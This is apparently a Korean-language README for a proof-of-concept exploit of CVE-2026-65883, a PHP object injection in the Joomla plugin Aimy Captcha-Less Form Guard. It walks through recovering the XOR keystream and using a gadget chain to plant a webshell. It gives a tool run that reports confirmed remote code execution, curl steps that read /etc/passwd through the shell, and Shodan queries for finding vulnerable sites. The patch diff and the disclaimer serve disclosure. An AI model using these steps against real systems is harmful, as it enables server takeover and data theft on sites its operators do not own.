
Aimy Captcha-Less Form Guard Joomla 컴포넌트 PHP 객체 인젝션 RCE. clfgd XOR 키스트림 복구 + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1
Joomla용 Aimy Captcha-Less Form Guard의 인증되지 않은 PHP 객체 주입 취약점입니다. onCheckAnswer() 메서드는 공격자가 제어하는 clfgd POST 필드를 base64 디코딩하고, 반복 키 XOR을 적용한 다음 그 결과를 직접 unserialize()에 전달합니다. HMAC도, allowed_classes 제한도, 무결성 검사도 없습니다.
| 상태 | 버전 |
|---|---|
| 취약 | 18.0 — 20.0 |
| 패치됨 | 20.1 (2026년 7월 29일) |
plg_captcha_aimycaptchalessformguard의 onCheckAnswer() 메서드는 공격자가 제어하는 입력을 직접 unserialize()에 전달합니다:
// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
$cld = @unserialize(
XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
);
}
XOR "암호화"는 세션별 키를 사용하는 비제네르(Vigenère) 암호로, 인증이 아닌 단순 난독화만 제공합니다.
// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
$ekey = str_split(self::getHashedKey($key)); // sha512.sha256.sha1 = 232 hex
$s = str_split(strVal($bytes));
$klen = count($ekey);
for ($i = 0; $i < count($s); $i++) {
$val .= $s[$i] ^ $ekey[$i % ($klen - 1)]; // period 231
}
return $val;
}
이 플러그인은 암호문과 평문을 모두 동일한 HTML 응답에 렌더링합니다:
// onDisplay()
$cld->trap_ids = array($id, $trap_id); // readable from HTML
$cld->mt = time() + 7; // known (server time + 7s)
$html .= '<input name="clfgd" value="'
. base64_encode(XorHelper::crypt(serialize($cld), $key))
. '" />';
trap_ids(<span id="..._mark"> 및 허니팟 입력에서 추출 가능)와 암호문이 모두 HTML에 있으므로, 이들을 XOR하면 231바이트 키스트림 중 약 94바이트가 복구됩니다.
clfgd 암호문 + trap_ids + 타이밍 정보 → 키스트림 94바이트 복구FormattedtextLogger 직렬화 객체의 구조적 바이트가 알려진 키스트림 위치에 오도록 맞춥니다clfgd 전송 → unserialize() → __destruct() → formatLine() → PHP 웹셸 작성/random.php?c=id → www-data 권한으로 RCE$ python cve_2026_65883.py -t target.com
Target : target.com
Status : Aimy Captcha-Less Form Guard v20.0
Form : /index.php?option=com_users&view=registration
Keystream : 94 bytes recovered
Shell : a1b2c3d4e5.php
Gadget : 1460 bytes
POST : HTTP 303
Shell URL : https://target.com/a1b2c3d4e5.php
RCE : CONFIRMED!
RCE ACHIEVED!
https://target.com/a1b2c3d4e5.php?c=id
# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
| grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin
# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"
# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"
# Aimy Captcha hidden field
body="clfgd" && body="Joomla"
# Plugin version disclosure
body="aimycaptchalessformguard"
# Shodan
http.html:"clfgd" http.component:"Joomla"
// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );
// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );
json_decode()는 PHP 객체를 인스턴스화할 수 없으므로 POP 가젯 체인이 차단됩니다.
이 도구는 교육 및 승인된 보안 테스트 용도로만 사용하세요. 소유한 시스템이나 명시적 테스트 허가를 받은 시스템에만 사용하십시오.
Aimy Extensions 또는 VulnCheck와 제휴하지 않았습니다.
| 필드 | 세부 정보 |
|---|
| CVE | CVE-2026-65883 |
| 제품 | Aimy Captcha-Less Form Guard (Joomla 플러그인) |
| CVSS 4.0 | 10.0 (치명적) |
| 유형 | CWE-502 — 신뢰할 수 없는 데이터의 역직렬화 |
| 영향받는 버전 | 18.0 — 20.0 |
| 패치됨 | 20.1 (2026년 7월 29일) |
| 발견 | Valentin Lobstein (Chocapikk) / VulnCheck — 2026년 7월 26일 |
| 리소스 | 링크 |
|---|
| VulnCheck Blog | vulncheck.com/blog/aimy-captcha-less-form-guard-object-injection |
| IONIX Threat Center | ionix.io/threat-center/cve-2026-65883 |
| CVE Record | cve.org/CVERecord?id=CVE-2026-65883 |
| NVD | nvd.nist.gov/vuln/detail/CVE-2026-65883 |